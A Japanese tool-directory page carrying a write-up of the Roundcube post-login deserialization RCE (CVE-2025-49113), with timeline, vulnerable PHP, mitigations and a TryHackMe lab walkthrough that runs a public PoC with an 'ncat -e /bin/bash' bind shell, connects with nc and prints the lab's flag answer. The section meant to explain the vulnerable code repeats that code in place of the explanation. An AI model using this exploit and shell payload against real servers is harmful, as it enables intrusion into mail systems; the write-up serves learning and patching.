Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Roundcube_CVE-2025-49113 — 説明 + THMのラボ | Kitploit
ツール/GitHubGitHub/5kr1pt/roundcube_cve-2025-49113
脆弱性分析エクスプロイトシェルコードウェブアプリケーション悪用CTFペネトレーションテスト学習と教育ペイロード開発ラボと実践
GitHub5kr1pt/roundcube_cve-2025-49113

Roundcube_CVE-2025-49113

説明 + THMのラボ

リポジトリを見る
31年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

RoundcubeのRCE (CVE-2025-49113) - 私のObsidianノート.md

{{date}} {{time}}

ステータス: 完了

ラボ: 簡単

タグ: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]

作成者 KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script


影響: ログイン後のリモートコマンド実行 (CVSS 9.9)
影響を受けるバージョン: ≤ 1.5.10 / 1.6.10
修正済み: 1.5.11 および 1.6.11


1 – タイムライン

日付イベント
~2014program/actions/settings/upload.php ルートの導入。session->append() がバリデーションなしで使用される。
2025年6月3日@FearsOffの研究者がアドバイザリを公開し、PoCを発表。
2025年6月4日Roundcubeがコミット 0376f69 (1.6-stable) および コミット 7408f31 (1.5-lts) を適用。
2025年6月6日PoCがGitHubで公開される。(fearsoff-org/CVE-2025-49113)
2025年6月10日大規模な悪用。

2 – 問題の箇所

脆弱なコード (1.6.10)

root@kitploit:~
// program/actions/settings/upload.php 
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);

// … さらに下の方
$rcmail->session->append($type . '.files', $id, $attachment);

入力 _from がGETでそのまま渡され、セッション内のノード名の一部になり、 最初の append() の際にRoundcubeは次の処理を行う:

root@kitploit:~
// program/actions/settings/upload.php

$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);

$type = preg_replace('/(add|edit)-/', '', $from);

// … さらに下の方

$rcmail->session->append($type . '.files', $id, $attachment);

ファイルが存在すれば、RCEは成功する。


3 – 緩和策

  1. 直ちにアップデート する。バージョン 1.6.11 または 1.5.11 以降へ。

  2. アップデートできない場合は、WAF、ファイアウォール、リライトルールなどで %22、%7C、!、.、または制御バイトを含む _from をブロックする。

  3. php.ini で危険な関数 (proc_open、exec など) を無効化する。

  4. 設定パネルでのアップロードをブロックし、ログを監視する。


4 – ラボ - TryHackme - WriteUp

無料ルーム: https://tryhackme.com/room/roundcubecve202549113

Created by tryhackme & strategos

1. 偵察

  1. VM (MACHINE_IP) と AttackBox を起動する。

  2. http://MACHINE_IP/roundcube にアクセスし、以下でログインする:

    ユーザー名: ellieptic パスワード: ChangeMe123

    これでログインできる:

    ログイン画面


2. エクスプロイトの準備

すべてが起動していることを確認したら、エクスプロイトを実行する。先に示したGitHubのPoCにアクセスし、git cloneする:

root@kitploit:~
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

exploit


3. ペイロードの準備

ペイロードの使用方法は簡単。bind shellを作成し、以下の使用法に従って .php ファイルでポートを指定するだけ:

php CVE-2025-49113.php <サイト> <ユーザー名> <パスワード> "<bind shell>"

php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"

– スクリプトはログインし、悪意のあるPHPオブジェクトを _from パラメータに注入し(前述の通り)、upload.php エンドポイントを呼び出した後、ログアウトを強制して
session_decode() → unserialize() → proc_open() をトリガーする。

時々CSRFエラーが表示されることがあるが、無視して次のステップに進んでよい。
なぜなら、コマンドは通常そのまま実行されているからだ。

exploit


4. シェルに接続する

bind shellが成功した場合、指定したポート1337で待機しているので、今それに接続するだけ:

nc MACHINE_IP 1337

シェル取得成功。

shell


5. 質問に答える

質問と回答

  1. ユーザー Maggie
    質問: ユーザーの一人のファーストネームは Maggie です。彼女の苗字は何ですか?
    回答: Byte

この質問を解決するには、/etc/passwd を cat して Maggie のユーザーを grep するか、単に /home で ls を実行すればよい。

1

  1. /etc のフラグ
    質問: /etc に保存されているフラグの値は何ですか?
    回答: THM{ICE_CUBE_DESERIALISATION}

これを解決するには、cat /etc/flag* を実行した。幸いファイル名が flag だったので、キャプチャできた。

2


5 – 参考文献

  • コミット 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d

  • コミット 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695

  • FearsOff write-up – https://fearsoff.org/research/roundcube

  • OffSec blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com

  • TryHackme - TryHackMe | Roundcube: CVE-2025-49113

  • GHSA advisory – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com

ツールをダウンロード